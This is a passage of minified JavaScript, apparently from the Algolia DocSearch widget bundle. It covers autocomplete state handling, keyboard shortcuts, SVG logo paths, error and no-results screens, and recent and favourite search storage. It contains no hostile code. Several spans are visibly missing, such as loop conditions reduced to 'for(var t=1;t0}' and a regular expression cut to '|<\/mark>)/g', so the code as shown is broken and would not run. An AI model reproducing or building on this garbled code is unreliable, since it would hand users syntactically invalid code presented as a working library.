n.navigator.navigate({itemUrl:f,item:l,state:o.getState()});$t(Gt({event:t,nextState:{isOpen:!1},props:n,query:s,refresh:r,store:o},c)).then((function(){p.onSelect(Gt({event:t,item:l,itemInputValue:s,itemUrl:f,refresh:r,source:p,state:o.getState()},c))}))}}}(an({event:e,props:t,refresh:n,store:r},o))},onFocus:i,onBlur:tt,onClick:function(n){e.inputElement!==t.environment.document.activeElement||r.getState().isOpen||i(n)}},s)},getPanelProps:function(e){return an({onMouseDown:function(e){e.preventDefault()},onMouseLeave:function(){r.dispatch("mouseleave",null)}},e)},getListProps:function(e){return an({role:"listbox","aria-labelledby":"".concat(t.id,"-label"),id:"".concat(t.id,"-list")},e)},getItemProps:function(e){var c=e.item,i=e.source,a=ln(e,on);return an({id:"".concat(t.id,"-item-").concat(c.__autocomplete_id),role:"option","aria-selected":r.getState().activeItemId===c.__autocomplete_id,onMouseMove:function(e){if(c.__autocomplete_id!==r.getState().activeItemId){r.dispatch("mousemove",c.__autocomplete_id);var t=st(r.getState());if(null!==r.getState().activeItemId&&t){var i=t.item,a=t.itemInputValue,u=t.itemUrl,l=t.source;l.onActive(an({event:e,item:i,itemInputValue:a,itemUrl:u,refresh:n,source:l,state:r.getState()},o))}}},onMouseDown:function(e){e.preventDefault()},onClick:function(e){var a=i.getItemInputValue({item:c,state:r.getState()}),u=i.getItemUrl({item:c,state:r.getState()});(u?Promise.resolve():$t(an({event:e,nextState:{isOpen:!1},props:t,query:a,refresh:n,store:r},o))).then((function(){i.onSelect(an({event:e,item:c,itemInputValue:a,itemUrl:u,refresh:n,source:i,state:r.getState()},o))}))}},a)}}}function fn(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function pn(e){for(var t=1;t0},reshape:function(e){return e.sources}},e),{},{id:null!==(n=e.id)&&void 0!==n?n:"autocomplete-".concat(Xe++),plugins:o,initialState:wt({activeItemId:null,query:"",completion:null,collections:[],isOpen:!1,status:"idle",context:{}},e.initialState),onStateChange:function(t){var n;null===(n=e.onStateChange)||void 0===n||n.call(e,t),o.forEach((function(e){var n;return null===(n=e.onStateChange)||void 0===n?void 0:n.call(e,t)}))},onSubmit:function(t){var n;null===(n=e.onSubmit)||void 0===n||n.call(e,t),o.forEach((function(e){var n;return null===(n=e.onSubmit)||void 0===n?void 0:n.call(e,t)}))},onReset:function(t){var n;null===(n=e.onReset)||void 0===n||n.call(e,t),o.forEach((function(e){var n;return null===(n=e.onReset)||void 0===n?void 0:n.call(e,t)}))},getSources:function(n){return Promise.all([].concat(Ot(o.map((function(e){return e.getSources}))),[e.getSources]).filter(Boolean).map((function(e){return lt(e,n)}))).then((function(e){return Ze(e)})).then((function(e){return e.map((function(e){return wt(wt({},e),{},{onSelect:function(n){e.onSelect(n),t.forEach((function(e){var t;return null===(t=e.onSelect)||void 0===t?void 0:t.call(e,n)}))},onActive:function(n){e.onActive(n),t.forEach((function(e){var t;return null===(t=e.onActive)||void 0===t?void 0:t.call(e,n)}))}})}))}))},navigator:wt({navigate:function(e){var t=e.itemUrl;r.location.assign(t)},navigateNewTab:function(e){var t=e.itemUrl,n=r.open(t,"_blank","noopener");null==n||n.focus()},navigateNewWindow:function(e){var t=e.itemUrl;r.open(t,"_blank","noopener")}},e.navigator)})}(e,t),r=yt(bn,n,(function(e){var t=e.prevState,r=e.state;n.onStateChange(On({prevState:t,state:r,refresh:i},o))})),o=function(e){var t=e.store;return{setActiveItemId:function(e){t.dispatch("setActiveItemId",e)},setQuery:function(e){t.dispatch("setQuery",e)},setCollections:function(e){var n=0,r=e.map((function(e){return bt(bt({},e),{},{items:Ze(e.items).map((function(e){return bt(bt({},e),{},{__autocomplete_id:n++})}))})}));t.dispatch("setCollections",r)},setIsOpen:function(e){t.dispatch("setIsOpen",e)},setStatus:function(e){t.dispatch("setStatus",e)},setContext:function(e){t.dispatch("setContext",e)}}}({store:r}),c=sn(On({props:n,refresh:i,store:r},o));function i(){return $t(On({event:new Event("input"),nextState:{isOpen:r.getState().isOpen},props:n,query:r.getState().query,refresh:i,store:r},o))}return n.plugins.forEach((function(e){var n;return null===(n=e.subscribe)||void 0===n?void 0:n.call(e,On(On({},o),{},{refresh:i,onSelect:function(e){t.push({onSelect:e})},onActive:function(e){t.push({onActive:e})}}))})),function(e){var t,n,r=e.metadata,o=e.environment;if(null===(t=o.navigator)||void 0===t||null===(n=t.userAgent)||void 0===n?void 0:n.includes("Algolia Crawler")){var c=o.document.createElement("meta"),i=o.document.querySelector("head");c.name="algolia:metadata",setTimeout((function(){c.content=JSON.stringify(r),i.appendChild(c)}),0)}}({metadata:dn({plugins:n.plugins,options:e}),environment:n.environment}),On(On({refresh:i},c),o)}function wn(e){var t=e.translations,n=(void 0===t?{}:t).searchByText,r=void 0===n?"Search by":n;return Be.createElement("a",{href:"https://www.algolia.com/ref/docsearch/?utm_source=".concat(window.location.hostname,"&utm_medium=referral&utm_content=powered_by&utm_campaign=docsearch"),target:"_blank",rel:"noopener noreferrer"},Be.createElement("span",{className:"DocSearch-Label"},r),Be.createElement("svg",{width:"77",height:"19","aria-label":"Algolia",role:"img"},Be.createElement("path",{d:"M2.5067 0h14.0245c1.384.001 2.5058 1.1205 2.5068 2.5017V16.5c-.0014 1.3808-1.1232 2.4995-2.5068 2.5H2.5067C1.1232 18.9995.0014 17.8808 0 16.5V2.4958A2.495 2.495 0 01.735.7294 2.505 2.505 0 012.5068 0zM37.95 15.0695c-3.7068.0168-3.7068-2.986-3.7068-3.4634L34.2372.3576 36.498 0v11.1794c0 .2715 0 1.9889 1.452 1.994v1.8961zm-9.1666-1.8388c.694 0 1.2086-.0397 1.5678-.1088v-2.2934a5.3639 5.3639 0 00-1.3303-.1679 4.8283 4.8283 0 00-.758.0582 2.2845 2.2845 0 00-.688.2024c-.2029.0979-.371.2362-.4919.4142-.1268.1788-.185.2826-.185.5533 0 .5297.185.8359.5205 1.0375.3355.2016.7928.3053 1.365.3053v-.0008zm-.1969-8.1817c.7463 0 1.3768.092 1.8856.2767.5088.1838.9195.4428 1.2204.7717.3068.334.5147.7777.6423 1.251.1327.4723.196.991.196 1.5603v5.798c-.5235.1036-1.05.192-1.5787.2649-.7048.1037-1.4976.156-2.3774.156-.5832 0-1.1215-.0582-1.6016-.167a3.385 3.385 0 01-1.2432-.5364 2.6034 2.6034 0 01-.8037-.9565c-.191-.3922-.29-.9447-.29-1.5208 0-.5533.11-.905.3246-1.2863a2.7351 2.7351 0 01.8849-.9329c.376-.242.8029-.415 1.2948-.5187a7.4517 7.4517 0 011.5381-.156 7.1162 7.1162 0 011.6667.2024V8.886c0-.259-.0296-.5061-.093-.7372a1.5847 1.5847 0 00-.3245-.6158 1.5079 1.5079 0 00-.6119-.4158 2.6788 2.6788 0 00-.966-.173c-.5206 0-.9948.0634-1.4283.1384a6.5481 6.5481 0 00-1.065.259l-.2712-1.849c.2831-.0986.7048-.1964 1.2491-.2943a9.2979 9.2979 0 011.752-.1501v.0008zm44.6597 8.1193c.6947 0 1.2086-.0405 1.567-.1097v-2.2942a5.3743 5.3743 0 00-1.3303-.1679c-.2485 0-.503.0177-.7573.0582a2.2853 2.2853 0 00-.688.2024 1.2333 1.2333 0 00-.4918.4142c-.1268.1788-.1843.2826-.1843.5533 0 .5297.1843.8359.5198 1.0375.3414.2066.7927.3053 1.365.3053v.0009zm-.191-8.1767c.7463 0 1.3768.0912 1.8856.2759.5087.1847.9195.4436 1.2204.7717.3.329.5147.7786.6414 1.251a5.7248 5.7248 0 01.197 1.562v5.7972c-.3466.0742-.874.1602-1.5788.2648-.7049.1038-1.4976.1552-2.3774.1552-.5832 0-1.1215-.0573-1.6016-.167a3.385 3.385 0 01-1.2432-.5356 2.6034 2.6034 0 01-.8038-.9565c-.191-.3922-.2898-.9447-.2898-1.5216 0-.5533.1098-.905.3245-1.2854a2.7373 2.7373 0 01.8849-.9338c.376-.2412.8029-.4141 1.2947-.5178a7.4545 7.4545 0 012.325-.1097c.2781.0287.5672.081.879.156v-.3686a2.7781 2.7781 0 00-.092-.738 1.5788 1.5788 0 00-.3246-.6166 1.5079 1.5079 0 00-.612-.415 2.6797 2.6797 0 00-.966-.1729c-.5205 0-.9947.0633-1.4282.1384a6.5608 6.5608 0 00-1.065.259l-.2712-1.8498c.283-.0979.7048-.1957 1.2491-.2935a9.8597 9.8597 0 011.752-.1494zm-6.79-1.072c-.7576.001-1.373-.6103-1.3759-1.3664 0-.755.6128-1.3664 1.376-1.3664.764 0 1.3775.6115 1.3775 1.3664s-.6195 1.3664-1.3776 1.3664zm1.1393 11.1507h-2.2726V5.3409l2.2734-.3568v10.0845l-.0008.0017zm-3.984 0c-3.707.0168-3.707-2.986-3.707-3.4642L59.7069.3576 61.9685 0v11.1794c0 .2715 0 1.9889 1.452 1.994V15.0703zm-7.3512-4.979c0-.975-.2138-1.7873-.6305-2.3516-.4167-.571-.9998-.852-1.747-.852-.7454 0-1.3302.281-1.7452.852-.4166.5702-.6195 1.3765-.6195 2.3516 0 .9851.208 1.6473.6254 2.2183.4158.576.9998.8587 1.7461.8587.7454 0 1.3303-.2885 1.747-.8595.4158-.5761.6237-1.2315.6237-2.2184v.0009zm2.3132-.006c0 .7609-.1099 1.3361-.3356 1.9654a4.654 4.654 0 01-.9533 1.6076A4.214 4.214 0 0155.613 14.69c-.579.2412-1.4697.3795-1.9143.3795-.4462-.005-1.3303-.1324-1.9033-.3795a4.307 4.307 0 01-1.474-1.0316c-.4115-.4445-.7293-.9801-.9609-1.6076a5.3423 5.3423 0 01-.3465-1.9653c0-.7608.104-1.493.3356-2.1155a4.683 4.683 0 01.9719-1.5958 4.3383 4.3383 0 011.479-1.0257c.5739-.242 1.2043-.3567 1.8864-.3567.6829 0 1.3125.1197 1.8906.3567a4.1245 4.1245 0 011.4816 1.0257 4.7587 4.7587 0 01.9592 1.5958c.2426.6225.3643 1.3547.3643 2.1155zm-17.0198 0c0 .9448.208 1.9932.6238 2.431.4166.4386.955.6579 1.6142.6579.3584 0 .6998-.0523 1.0176-.1502.3186-.0978.5721-.2134.775-.3517V7.0784a8.8706 8.8706 0 00-1.4926-.1906c-.8206-.0236-1.4452.312-1.8847.8468-.4335.5365-.6533 1.476-.6533 2.3516v-.0008zm6.2863 4.4485c0 1.5385-.3938 2.662-1.1866 3.3773-.791.7136-2.0005 1.0712-3.6308 1.0712-.5958 0-1.834-.1156-2.8228-.334l.3643-1.7865c.8282.173 1.9202.2193 2.4932.2193.9077 0 1.555-.1847 1.943-.5533.388-.3686.578-.916.578-1.643v-.3687a6.8289 6.8289 0 01-.8848.3349c-.3634.1096-.786.167-1.261.167-.6246 0-1.1917-.0979-1.7055-.2944a3.5554 3.5554 0 01-1.3244-.8645c-.3642-.3796-.6541-.8579-.8561-1.4289-.2028-.571-.3068-1.59-.3068-2.339 0-.7034.1099-1.5856.3245-2.1735.2198-.5871.5316-1.0949.9542-1.515.4167-.42.9255-.743 1.5213-.98a5.5923 5.5923 0 012.052-.3855c.7353 0 1.4114.092 2.0707.2024.6592.1088 1.2204.2236 1.6776.35v8.945-.0008zM11.5026 4.2418v-.6511c-.0005-.4553-.3704-.8241-.8266-.8241H8.749c-.4561 0-.826.3688-.8265.824v.669c0 .0742.0693.1264.1445.1096a6.0346 6.0346 0 011.6768-.2362 6.125 6.125 0 011.6202.2185.1116.1116 0 00.1386-.1097zm-5.2806.852l-.3296-.3282a.8266.8266 0 00-1.168 0l-.393.3922a.8199.8199 0 000 1.164l.3237.323c.0524.0515.1268.0397.1733-.0117.191-.259.3989-.507.6305-.7372.2374-.2362.48-.4437.7462-.6335.0575-.0354.0634-.1155.017-.1687zm3.5159 2.069v2.818c0 .081.0879.1392.1622.0987l2.5102-1.2964c.0574-.0287.0752-.0987.0464-.1552a3.1237 3.1237 0 00-2.603-1.574c-.0575 0-.115.0456-.115.1097l-.0008-.0009zm.0008 6.789c-2.0933.0005-3.7915-1.6912-3.7947-3.7804C5.9468 8.0821 7.6452 6.39 9.7387 6.391c2.0932-.0005 3.7911 1.6914 3.794 3.7804a3.7783 3.7783 0 01-1.1124 2.675 3.7936 3.7936 0 01-2.6824 1.1054h.0008zM9.738 4.8002c-1.9218 0-3.6975 1.0232-4.6584 2.6841a5.359 5.359 0 000 5.3683c.9609 1.661 2.7366 2.6841 4.6584 2.6841a5.3891 5.3891 0 003.8073-1.5725 5.3675 5.3675 0 001.578-3.7987 5.3574 5.3574 0 00-1.5771-3.797A5.379 5.379 0 009.7387 4.801l-.0008-.0008z",fill:"currentColor",fillRule:"evenodd"})))}function jn(e){return Be.createElement("svg",{width:"15",height:"15","aria-label":e.ariaLabel,role:"img"},Be.createElement("g",{fill:"none",stroke:"currentColor",strokeLinecap:"round",strokeLinejoin:"round",strokeWidth:"1.2"},e.children))}function Pn(e){var t=e.translations,n=void 0===t?{}:t,r=n.selectText,o=void 0===r?"to select":r,c=n.selectKeyAriaLabel,i=void 0===c?"Enter key":c,a=n.navigateText,u=void 0===a?"to navigate":a,l=n.navigateUpKeyAriaLabel,s=void 0===l?"Arrow up":l,f=n.navigateDownKeyAriaLabel,p=void 0===f?"Arrow down":f,m=n.closeText,d=void 0===m?"to close":m,h=n.closeKeyAriaLabel,v=void 0===h?"Escape key":h,y=n.searchByText,_=void 0===y?"Search by":y;return Be.createElement(Be.Fragment,null,Be.createElement("div",{className:"DocSearch-Logo"},Be.createElement(wn,{translations:{searchByText:_}})),Be.createElement("ul",{className:"DocSearch-Commands"},Be.createElement("li",null,Be.createElement("kbd",{className:"DocSearch-Commands-Key"},Be.createElement(jn,{ariaLabel:i},Be.createElement("path",{d:"M12 3.53088v3c0 1-1 2-2 2H4M7 11.53088l-3-3 3-3"}))),Be.createElement("span",{className:"DocSearch-Label"},o)),Be.createElement("li",null,Be.createElement("kbd",{className:"DocSearch-Commands-Key"},Be.createElement(jn,{ariaLabel:p},Be.createElement("path",{d:"M7.5 3.5v8M10.5 8.5l-3 3-3-3"}))),Be.createElement("kbd",{className:"DocSearch-Commands-Key"},Be.createElement(jn,{ariaLabel:s},Be.createElement("path",{d:"M7.5 11.5v-8M10.5 6.5l-3-3-3 3"}))),Be.createElement("span",{className:"DocSearch-Label"},u)),Be.createElement("li",null,Be.createElement("kbd",{className:"DocSearch-Commands-Key"},Be.createElement(jn,{ariaLabel:v},Be.createElement("path",{d:"M13.6167 8.936c-.1065.3583-.6883.962-1.4875.962-.7993 0-1.653-.9165-1.653-2.1258v-.5678c0-1.2548.7896-2.1016 1.653-2.1016.8634 0 1.3601.4778 1.4875 1.0724M9 6c-.1352-.4735-.7506-.9219-1.46-.8972-.7092.0246-1.344.57-1.344 1.2166s.4198.8812 1.3445.9805C8.465 7.3992 8.968 7.9337 9 8.5c.032.5663-.454 1.398-1.4595 1.398C6.6593 9.898 6 9 5.963 8.4851m-1.4748.5368c-.2635.5941-.8099.876-1.5443.876s-1.7073-.6248-1.7073-2.204v-.4603c0-1.0416.721-2.131 1.7073-2.131.9864 0 1.6425 1.031 1.5443 2.2492h-2.956"}))),Be.createElement("span",{className:"DocSearch-Label"},d))))}function In(e){var t=e.hit,n=e.children;return Be.createElement("a",{href:t.url},n)}function kn(){return Be.createElement("svg",{viewBox:"0 0 38 38",stroke:"currentColor",strokeOpacity:".5"},Be.createElement("g",{fill:"none",fillRule:"evenodd"},Be.createElement("g",{transform:"translate(1 1)",strokeWidth:"2"},Be.createElement("circle",{strokeOpacity:".3",cx:"18",cy:"18",r:"18"}),Be.createElement("path",{d:"M36 18c0-9.94-8.06-18-18-18"},Be.createElement("animateTransform",{attributeName:"transform",type:"rotate",from:"0 18 18",to:"360 18 18",dur:"1s",repeatCount:"indefinite"})))))}function Dn(){return Be.createElement("svg",{width:"20",height:"20",viewBox:"0 0 20 20"},Be.createElement("g",{stroke:"currentColor",fill:"none",fillRule:"evenodd",strokeLinecap:"round",strokeLinejoin:"round"},Be.createElement("path",{d:"M3.18 6.6a8.23 8.23 0 1112.93 9.94h0a8.23 8.23 0 01-11.63 0"}),Be.createElement("path",{d:"M6.44 7.25H2.55V3.36M10.45 6v5.6M10.45 11.6L13 13"})))}function Cn(){return Be.createElement("svg",{width:"20",height:"20",viewBox:"0 0 20 20"},Be.createElement("path",{d:"M10 10l5.09-5.09L10 10l5.09 5.09L10 10zm0 0L4.91 4.91 10 10l-5.09 5.09L10 10z",stroke:"currentColor",fill:"none",fillRule:"evenodd",strokeLinecap:"round",strokeLinejoin:"round"}))}function An(){return Be.createElement("svg",{className:"DocSearch-Hit-Select-Icon",width:"20",height:"20",viewBox:"0 0 20 20"},Be.createElement("g",{stroke:"currentColor",fill:"none",fillRule:"evenodd",strokeLinecap:"round",strokeLinejoin:"round"},Be.createElement("path",{d:"M18 3v4c0 2-2 4-4 4H2"}),Be.createElement("path",{d:"M8 17l-6-6 6-6"})))}var xn=function(){return Be.createElement("svg",{width:"20",height:"20",viewBox:"0 0 20 20"},Be.createElement("path",{d:"M17 6v12c0 .52-.2 1-1 1H4c-.7 0-1-.33-1-1V2c0-.55.42-1 1-1h8l5 5zM14 8h-3.13c-.51 0-.87-.34-.87-.87V4",stroke:"currentColor",fill:"none",fillRule:"evenodd",strokeLinejoin:"round"}))};function Nn(e){switch(e.type){case"lvl1":return Be.createElement(xn,null);case"content":return Be.createElement(Tn,null);default:return Be.createElement(Rn,null)}}function Rn(){return Be.createElement("svg",{width:"20",height:"20",viewBox:"0 0 20 20"},Be.createElement("path",{d:"M13 13h4-4V8H7v5h6v4-4H7V8H3h4V3v5h6V3v5h4-4v5zm-6 0v4-4H3h4z",stroke:"currentColor",fill:"none",fillRule:"evenodd",strokeLinecap:"round",strokeLinejoin:"round"}))}function Tn(){return Be.createElement("svg",{width:"20",height:"20",viewBox:"0 0 20 20"},Be.createElement("path",{d:"M17 5H3h14zm0 5H3h14zm0 5H3h14z",stroke:"currentColor",fill:"none",fillRule:"evenodd",strokeLinejoin:"round"}))}function Ln(){return Be.createElement("svg",{width:"20",height:"20",viewBox:"0 0 20 20"},Be.createElement("path",{d:"M10 14.2L5 17l1-5.6-4-4 5.5-.7 2.5-5 2.5 5 5.6.8-4 4 .9 5.5z",stroke:"currentColor",fill:"none",fillRule:"evenodd",strokeLinejoin:"round"}))}function qn(){return Be.createElement("svg",{width:"40",height:"40",viewBox:"0 0 20 20",fill:"none",fillRule:"evenodd",stroke:"currentColor",strokeLinecap:"round",strokeLinejoin:"round"},Be.createElement("path",{d:"M19 4.8a16 16 0 00-2-1.2m-3.3-1.2A16 16 0 001.1 4.7M16.7 8a12 12 0 00-2.8-1.4M10 6a12 12 0 00-6.7 2M12.3 14.7a4 4 0 00-4.5 0M14.5 11.4A8 8 0 0010 10M3 16L18 2M10 18h0"}))}function Mn(){return Be.createElement("svg",{width:"40",height:"40",viewBox:"0 0 20 20",fill:"none",fillRule:"evenodd",stroke:"currentColor",strokeLinecap:"round",strokeLinejoin:"round"},Be.createElement("path",{d:"M15.5 4.8c2 3 1.7 7-1 9.7h0l4.3 4.3-4.3-4.3a7.8 7.8 0 01-9.8 1m-2.2-2.2A7.8 7.8 0 0113.2 2.4M2 18L18 2"}))}function Hn(e){var t=e.translations,n=void 0===t?{}:t,r=n.titleText,o=void 0===r?"Unable to fetch results":r,c=n.helpText,i=void 0===c?"You might want to check your network connection.":c;return Be.createElement("div",{className:"DocSearch-ErrorScreen"},Be.createElement("div",{className:"DocSearch-Screen-Icon"},Be.createElement(qn,null)),Be.createElement("p",{className:"DocSearch-Title"},o),Be.createElement("p",{className:"DocSearch-Help"},i))}var Un=["translations"];function Fn(e){return function(e){if(Array.isArray(e))return Bn(e)}(e)||function(e){if("undefined"!=typeof Symbol&&null!=e[Symbol.iterator]||null!=e["@@iterator"])return Array.from(e)}(e)||function(e,t){if(!e)return;if("string"==typeof e)return Bn(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return Bn(e,t)}(e)||function(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function Bn(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n=0||(o[n]=e[n]);return o}(e,t);if(Object.getOwnPropertySymbols){var c=Object.getOwnPropertySymbols(e);for(r=0;r=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(o[n]=e[n])}return o}function zn(e){var t=e.translations,n=void 0===t?{}:t,r=Vn(e,Un),o=n.noResultsText,c=void 0===o?"No results for":o,i=n.suggestedQueryText,a=void 0===i?"Try searching for":i,u=n.reportMissingResultsText,l=void 0===u?"Believe this query should return results?":u,s=n.reportMissingResultsLinkText,f=void 0===s?"Let us know.":s,p=r.state.context.searchSuggestions;return Be.createElement("div",{className:"DocSearch-NoResults"},Be.createElement("div",{className:"DocSearch-Screen-Icon"},Be.createElement(Mn,null)),Be.createElement("p",{className:"DocSearch-Title"},c,' "',Be.createElement("strong",null,r.state.query),'"'),p&&p.length>0&&Be.createElement("div",{className:"DocSearch-NoResults-Prefill-List"},Be.createElement("p",{className:"DocSearch-Help"},a,":"),Be.createElement("ul",null,p.slice(0,3).reduce((function(e,t){return[].concat(Fn(e),[Be.createElement("li",{key:t},Be.createElement("button",{className:"DocSearch-Prefill",key:t,type:"button",onClick:function(){r.setQuery(t.toLowerCase()+" "),r.refresh(),r.inputRef.current.focus()}},t))])}),[]))),r.getMissingResultsUrl&&Be.createElement("p",{className:"DocSearch-Help"},"".concat(l," "),Be.createElement("a",{href:r.getMissingResultsUrl({query:r.state.query}),target:"_blank",rel:"noopener noreferrer"},f)))}var Wn=["hit","attribute","tagName"];function Kn(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function Jn(e){for(var t=1;t=0||(o[n]=e[n]);return o}(e,t);if(Object.getOwnPropertySymbols){var c=Object.getOwnPropertySymbols(e);for(r=0;r=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(o[n]=e[n])}return o}function Yn(e,t){return t.split(".").reduce((function(e,t){return null!=e&&e[t]?e[t]:null}),e)}function Gn(e){var t=e.hit,n=e.attribute,r=e.tagName;return g(void 0===r?"span":r,Jn(Jn({},Qn(e,Wn)),{},{dangerouslySetInnerHTML:{__html:Yn(t,"_snippetResult.".concat(n,".value"))||Yn(t,n)}}))}function Zn(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,c=[],i=!0,a=!1;try{for(n=n.call(e);!(i=(r=n.next()).done)&&(c.push(r.value),!t||c.length!==t);i=!0);}catch(e){a=!0,o=e}finally{try{i||null==n.return||n.return()}finally{if(a)throw o}}return c}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return Xn(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return Xn(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function Xn(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n|<\/mark>)/g,ar=RegExp(ir.source);function ur(e){var t,n,r,o,c,i=e;if(!i.__docsearch_parent&&!e._highlightResult)return e.hierarchy.lvl0;var a=((i.__docsearch_parent?null===(t=i.__docsearch_parent)||void 0===t||null===(n=t._highlightResult)||void 0===n||null===(r=n.hierarchy)||void 0===r?void 0:r.lvl0:null===(o=e._highlightResult)||void 0===o||null===(c=o.hierarchy)||void 0===c?void 0:c.lvl0)||{}).value;return a&&ar.test(a)?a.replace(ir,""):a}function lr(){return lr=Object.assign||function(e){for(var t=1;t=0||(o[n]=e[n]);return o}(e,t);if(Object.getOwnPropertySymbols){var c=Object.getOwnPropertySymbols(e);for(r=0;r=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(o[n]=e[n])}return o}function dr(e){var t=e.translations,n=void 0===t?{}:t,r=mr(e,fr),o=n.recentSearchesTitle,c=void 0===o?"Recent":o,i=n.noRecentSearchesText,a=void 0===i?"No recent searches":i,u=n.saveRecentSearchButtonTitle,l=void 0===u?"Save this search":u,s=n.removeRecentSearchButtonTitle,f=void 0===s?"Remove this search from history":s,p=n.favoriteSearchesTitle,m=void 0===p?"Favorite":p,d=n.removeFavoriteSearchButtonTitle,h=void 0===d?"Remove this search from favorites":d;return"idle"===r.state.status&&!1===r.hasCollections?r.disableUserPersonalization?null:Be.createElement("div",{className:"DocSearch-StartScreen"},Be.createElement("p",{className:"DocSearch-Help"},a)):!1===r.hasCollections?null:Be.createElement("div",{className:"DocSearch-Dropdown-Container"},Be.createElement(tr,pr({},r,{title:c,collection:r.state.collections[0],renderIcon:function(){return Be.createElement("div",{className:"DocSearch-Hit-icon"},Be.createElement(Dn,null))},renderAction:function(e){var t=e.item,n=e.runFavoriteTransition,o=e.runDeleteTransition;return Be.createElement(Be.Fragment,null,Be.createElement("div",{className:"DocSearch-Hit-action"},Be.createElement("button",{className:"DocSearch-Hit-action-button",title:l,type:"submit",onClick:function(e){e.preventDefault(),e.stopPropagation(),n((function(){r.favoriteSearches.add(t),r.recentSearches.remove(t),r.refresh()}))}},Be.createElement(Ln,null))),Be.createElement("div",{className:"DocSearch-Hit-action"},Be.createElement("button",{className:"DocSearch-Hit-action-button",title:f,type:"submit",onClick:function(e){e.preventDefault(),e.stopPropagation(),o((function(){r.recentSearches.remove(t),r.refresh()}))}},Be.createElement(Cn,null))))}})),Be.createElement(tr,pr({},r,{title:m,collection:r.state.collections[1],renderIcon:function(){return Be.createElement("div",{className:"DocSearch-Hit-icon"},Be.createElement(Ln,null))},renderAction:function(e){var t=e.item,n=e.runDeleteTransition;return Be.createElement("div",{className:"DocSearch-Hit-action"},Be.createElement("button",{className:"DocSearch-Hit-action-button",title:h,type:"submit",onClick:function(e){e.preventDefault(),e.stopPropagation(),n((function(){r.favoriteSearches.remove(t),r.refresh()}))}},Be.createElement(Cn,null)))}})))}var hr=["translations"];function vr(){return vr=Object.assign||function(e){for(var t=1;t=0||(o[n]=e[n]);return o}(e,t);if(Object.getOwnPropertySymbols){var c=Object.getOwnPropertySymbols(e);for(r=0;r=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(o[n]=e[n])}return o}var _r=Be.memo((function(e){var t=e.translations,n=void 0===t?{}:t,r=yr(e,hr);if("error"===r.state.status)return Be.createElement(Hn,{translations:null==n?void 0:n.errorScreen});var o=r.state.collections.some((function(e){return e.items.length>0}));return r.state.query?!1===o?Be.createElement(zn,vr({},r,{translations:null==n?void 0:n.noResultsScreen})):Be.createElement(sr,r):Be.createElement(dr,vr({},r,{hasCollections:o,translations:null==n?void 0:n.startScreen}))}),(function(e,t){return"loading"===t.state.status||"stalled"===t.state.status})),br=["translations"];function gr(){return gr=Object.assign||function(e){for(var t=1;t=0||(o[n]=e[n]);return o}(e,t);if(Object.getOwnPropertySymbols){var c=Object.getOwnPropertySymbols(e);for(r=0;r=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(o[n]=e[n])}return o}function Sr(e){var t=e.translations,n=void 0===t?{}:t,r=Or(e,br),o=n.resetButtonTitle,c=void 0===o?"Clear the query":o,i=n.resetButtonAriaLabel,a=void 0===i?"Clear the query":i,u=n.cancelButtonText,l=void 0===u?"Cancel":u,s=n.cancelButtonAriaLabel,f=void 0===s?"Cancel":s,p=r.getFormProps({inputElement:r.inputRef.current}).onReset;return Be.useEffect((function(){r.autoFocus&&r.inputRef.current&&r.inputRef.current.focus()}),[r.autoFocus,r.inputRef]),Be.useEffect((function(){r.isFromSelection&&r.inputRef.current&&r.inputRef.current.select()}),[r.isFromSelection,r.inputRef]),Be.createElement(Be.Fragment,null,Be.createElement("form",{className:"DocSearch-Form",onSubmit:function(e){e.preventDefault()},onReset:p},Be.createElement("label",gr({className:"DocSearch-MagnifierLabel"},r.getLabelProps()),Be.createElement(ze,null)),Be.createElement("div",{className:"DocSearch-LoadingIndicator"},Be.createElement(kn,null)),Be.createElement("input",gr({className:"DocSearch-Input",ref:r.inputRef},r.getInputProps({inputElement:r.inputRef.current,autoFocus:r.autoFocus,maxLength:64}))),Be.createElement("button",{type:"reset",title:c,className:"DocSearch-Reset","aria-label":a,hidden:!r.state.query},Be.createElement(Cn,null))),Be.createElement("button",{className:"DocSearch-Cancel",type:"reset","aria-label":f,onClick:r.onClose},l))}var Er=["_highlightResult","_snippetResult"];function wr(e,t){if(null==e)return{};var n,r,o=function(e,t){if(null==e)return{};var n,r,o={},c=Object.keys(e);for(r=0;r=0||(o[n]=e[n]);return o}(e,t);if(Object.getOwnPropertySymbols){var c=Object.getOwnPropertySymbols(e);for(r=0;r=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(o[n]=e[n])}return o}function jr(e){return!1===function(){var e="__TEST_KEY__";try{return localStorage.setItem(e,""),localStorage.removeItem(e),!0}catch(e){return!1}}()?{setItem:function(){},getItem:function(){return[]}}:{setItem:function(t){return window.localStorage.setItem(e,JSON.stringify(t))},getItem:function(){var t=window.localStorage.getItem(e);return t?JSON.parse(t):[]}}}function 